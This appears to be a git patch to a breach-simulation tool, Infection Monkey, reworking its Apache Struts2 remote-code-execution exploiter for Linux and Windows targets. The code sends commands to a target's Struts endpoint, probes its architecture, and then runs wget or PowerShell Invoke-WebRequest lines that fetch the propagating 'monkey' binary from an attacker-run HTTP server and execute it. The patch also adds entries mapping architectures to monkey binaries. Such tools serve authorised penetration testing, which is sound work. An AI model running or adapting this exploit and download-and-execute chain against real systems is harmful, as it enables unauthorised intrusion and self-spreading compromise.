From 2d27972e7ed4082bfbad696f0d02d97ca0fe79a7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 20 Jun 2018 16:58:20 +0300 Subject: [PATCH] Struts exploitation working, and tested with win-64 and ubuntu --- infection_monkey/exploit/struts2.py | 154 +++++++++++------- monkey_island/cc/resources/monkey_download.py | 15 ++ 2 files changed, 112 insertions(+), 57 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index f3a819169..be8ba8f0f 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -23,11 +23,9 @@ MONKEY_ARG = "m0nk3y" # Commands used for downloading monkeys POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) -# Command used to check whether host is vulnerable -CHECK_COMMAND = "echo %s" % ID_STRING # Commands used to check for architecture -CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "%s && lscpu" % ID_STRING +CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "echo %s && lscpu" % ID_STRING # Commands used to check if monkeys already exists EXISTS = "ls %s" @@ -47,7 +45,6 @@ class Struts2Exploiter(HostExploiter): self.skip_exist = self._config.skip_exploit_if_file_exist def exploit_host(self): - # TODO add skip if file exists # Initializing vars for convenience ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) dropper_path_linux = self._config.dropper_target_path_linux @@ -65,56 +62,15 @@ class Struts2Exploiter(HostExploiter): # TODO remove struts from url current_host = "http://%s:%d/struts" % (self.host.ip_addr, port) # Get full URL - current_host = self.get_redirected(current_host) + url = self.get_redirected(current_host) # Get os architecture so that we don't have to update monkey LOG.info("Trying to exploit with struts2") # Check if host is vulnerable and get host os architecture if 'linux' in self.host.os['type']: - host_arch = Struts2Exploiter.try_exploit_linux(current_host) + return self.exploit_linux(url, dropper_path_linux) else: - host_arch = Struts2Exploiter.try_exploit_windows(current_host) - - if host_arch: - self.host.os['machine'] = host_arch - - if current_host and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) - - # Form command according to os - if 'linux' in self.host.os['type']: - if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)): - return True - command = WGET_HTTP % {'monkey_path': dropper_path_linux, - 'http_path': http_path, 'parameters': cmdline} - else: - if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32) - or self.check_remote_file(current_host, dropper_path_win_64)): - return True - command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32), - 'http_path': http_path, 'parameters': cmdline} - - self.exploit(current_host, command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False + return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) def check_remote_file(self, host, path): command = EXISTS % path @@ -125,8 +81,92 @@ class Struts2Exploiter(HostExploiter): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True + def exploit_linux(self, url, dropper_path): + host_arch = Struts2Exploiter.check_exploit_linux(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist and (self.check_remote_file(url, dropper_path)): + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + + command = WGET_HTTP % {'monkey_path': dropper_path, + 'http_path': http_path, 'parameters': cmdline} + + self.exploit(url, command, RESPONSE_TIMEOUT) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + def exploit_windows(self, url, dropper_paths): + """ + :param url: Where to send malicious request + :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat + :return: Bool. Successfully exploited or not + """ + host_arch = Struts2Exploiter.check_exploit_windows(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist: + for dropper_path in dropper_paths: + if self.check_remote_file(url, dropper_path): + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # Select the dir and name for monkey on the host + if "windows-32" in src_path: + dropper_path = dropper_paths[0] + else: + dropper_path = dropper_paths[1] + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + + command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline} + # TODO Add timeout + self.exploit(url, command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + @staticmethod - def try_exploit_windows(url): + def check_exploit_windows(url): resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) if resp and ID_STRING in resp: if "64-bit" in resp: @@ -137,13 +177,13 @@ class Struts2Exploiter(HostExploiter): return False @staticmethod - def try_exploit_linux(url): + def check_exploit_linux(url): resp = Struts2Exploiter.exploit(url, CHECK_LINUX) if resp and ID_STRING in resp: - if "x86_64" in resp: - return "64" - else: - return "32" + # Pulls architecture string + arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + arch = arch.group(1) + return arch else: return False @@ -162,8 +202,8 @@ class Struts2Exploiter(HostExploiter): """ :param url: Full url to send request to :param cmd: Code to try and execute on host - :param timeout: How long to wait for response in seconds(if monkey is executed - it's better not to wait it's whole output + :param timeout: How long to wait for response in seconds(if monkey is being executed + it's better not to wait it's whole output). By default we wait. :return: response """ page = "" diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey_island/cc/resources/monkey_download.py index 25e67fdb2..acf92b558 100644 --- a/monkey_island/cc/resources/monkey_download.py +++ b/monkey_island/cc/resources/monkey_download.py @@ -21,6 +21,11 @@ MONKEY_DOWNLOADS = [ 'machine': 'i686', 'filename': 'monkey-linux-32', }, + { + 'type': 'linux', + 'machine': 'i386', + 'filename': 'monkey-linux-32', + }, { 'type': 'linux', 'filename': 'monkey-linux-64', @@ -35,6 +40,16 @@ MONKEY_DOWNLOADS = [ 'machine': 'amd64', 'filename': 'monkey-windows-64.exe', }, + { + 'type': 'windows', + 'machine': '64', + 'filename': 'monkey-windows-64.exe', + }, + { + 'type': 'windows', + 'machine': '32', + 'filename': 'monkey-windows-32.exe', + }, { 'type': 'windows', 'filename': 'monkey-windows-32.exe',